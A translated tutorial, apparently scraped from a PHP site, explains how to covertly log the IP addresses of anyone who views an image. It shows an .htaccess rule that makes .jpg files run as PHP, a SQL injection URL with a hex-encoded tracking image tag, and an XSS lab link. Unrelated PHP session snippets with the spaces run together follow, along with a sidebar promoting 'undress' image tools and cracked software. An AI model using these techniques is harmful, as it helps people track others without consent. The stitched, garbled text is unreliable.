In this tutorial, we will learn how to steal an IP address using a photo. My idea is to parse the jpg file as a php file by modifying the .htaccess file.
The following is the code we need to add to .htaccess:
AddHandler application/x-httpd-php5 .jpg
Then copy the following code into Notepad and name it grabber.jpg
Set the permissions of grabber.jpg to 755, then find another photo, name it n00b.png, and put it in the same directory as grabber.jpg.
That’s it, everything is ready. When someone browses the photo grabber.jpg, their IP address will be recorded.
(Translator’s Note: These things need to be uploaded to our personal website space)
POC:
(Translator’s Note: The author has posted a demonstration photo of how to obtain IP. For everyone’s privacy, I It has not been posted, readers can go to the author's blog to check it out)
At this point, our photos are ready to start working.
Then I would also like to explain how to use SQLi to obtain the ip address. In fact, it is very fast to use photos to steal IP addresses. We have no reason to use this method of SQLi, but in order to let readers gain more knowledge, I will explain it:
http://leettime.net/sqlninja. com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d6 1676569702f7472796d652e6a7067223e,3#
Now, let’s talk about how to use xss to get the ip address:
http://leettime.net/xsslab1/chalg1.php? name=&submit=Search
Okay, that’s it.
We can do many interesting things with this technique. In fact, most communities allow us to publish some photos, so we can use this method to get the IP addresses of all people who access our photos.
The above is the relevant content that the editor introduces to you based on PHP to obtain IP addresses through photos. I hope it will be helpful to everyone!
The above introduces the implementation of obtaining IP addresses through photos based on PHP, including the content of obtaining IP addresses. I hope it will be helpful to friends who are interested in PHP tutorials.

Thedifferencebetweenunset()andsession_destroy()isthatunset()clearsspecificsessionvariableswhilekeepingthesessionactive,whereassession_destroy()terminatestheentiresession.1)Useunset()toremovespecificsessionvariableswithoutaffectingthesession'soveralls

Stickysessionsensureuserrequestsareroutedtothesameserverforsessiondataconsistency.1)SessionIdentificationassignsuserstoserversusingcookiesorURLmodifications.2)ConsistentRoutingdirectssubsequentrequeststothesameserver.3)LoadBalancingdistributesnewuser

PHPoffersvarioussessionsavehandlers:1)Files:Default,simplebutmaybottleneckonhigh-trafficsites.2)Memcached:High-performance,idealforspeed-criticalapplications.3)Redis:SimilartoMemcached,withaddedpersistence.4)Databases:Offerscontrol,usefulforintegrati

Session in PHP is a mechanism for saving user data on the server side to maintain state between multiple requests. Specifically, 1) the session is started by the session_start() function, and data is stored and read through the $_SESSION super global array; 2) the session data is stored in the server's temporary files by default, but can be optimized through database or memory storage; 3) the session can be used to realize user login status tracking and shopping cart management functions; 4) Pay attention to the secure transmission and performance optimization of the session to ensure the security and efficiency of the application.

PHPsessionsstartwithsession_start(),whichgeneratesauniqueIDandcreatesaserverfile;theypersistacrossrequestsandcanbemanuallyendedwithsession_destroy().1)Sessionsbeginwhensession_start()iscalled,creatingauniqueIDandserverfile.2)Theycontinueasdataisloade

Absolute session timeout starts at the time of session creation, while an idle session timeout starts at the time of user's no operation. Absolute session timeout is suitable for scenarios where strict control of the session life cycle is required, such as financial applications; idle session timeout is suitable for applications that want users to keep their session active for a long time, such as social media.

The server session failure can be solved through the following steps: 1. Check the server configuration to ensure that the session is set correctly. 2. Verify client cookies, confirm that the browser supports it and send it correctly. 3. Check session storage services, such as Redis, to ensure that they are running normally. 4. Review the application code to ensure the correct session logic. Through these steps, conversation problems can be effectively diagnosed and repaired and user experience can be improved.

session_start()iscrucialinPHPformanagingusersessions.1)Itinitiatesanewsessionifnoneexists,2)resumesanexistingsession,and3)setsasessioncookieforcontinuityacrossrequests,enablingapplicationslikeuserauthenticationandpersonalizedcontent.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

SublimeText3 Linux new version
SublimeText3 Linux latest version

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

DVWA
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

EditPlus Chinese cracked version
Small size, syntax highlighting, does not support code prompt function

SAP NetWeaver Server Adapter for Eclipse
Integrate Eclipse with SAP NetWeaver application server.
